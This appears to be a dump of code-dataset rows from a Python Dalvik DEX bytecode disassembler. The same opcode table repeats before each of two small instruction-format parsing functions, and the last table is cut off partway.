'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT22B(buffer, dex_object, pc_point, offset): cc, bb, = struct.unpack_from("Bb", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "v%d" % bb, "%d" % cc)
null
17,378
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT22C(buffer, dex_object, pc_point, offset): cccc, = struct.unpack_from("H", buffer, 2) if ord(buffer[0]) == 0x20 or ord(buffer[0]) == 0x23: prefix = "type@%s" % (dex_object.gettypename(cccc)) else: prefix = "field@%s //%s" % (dex_object.getfieldname(cccc), dex_object.getfieldfullname(cccc)) bb = ord(buffer[1]) >> 4 return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % (ord(buffer[1]) & 0xf), "v%d" % ((ord(buffer[1]) >> 4) & 0xf), "%s" % prefix)
null
17,379
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 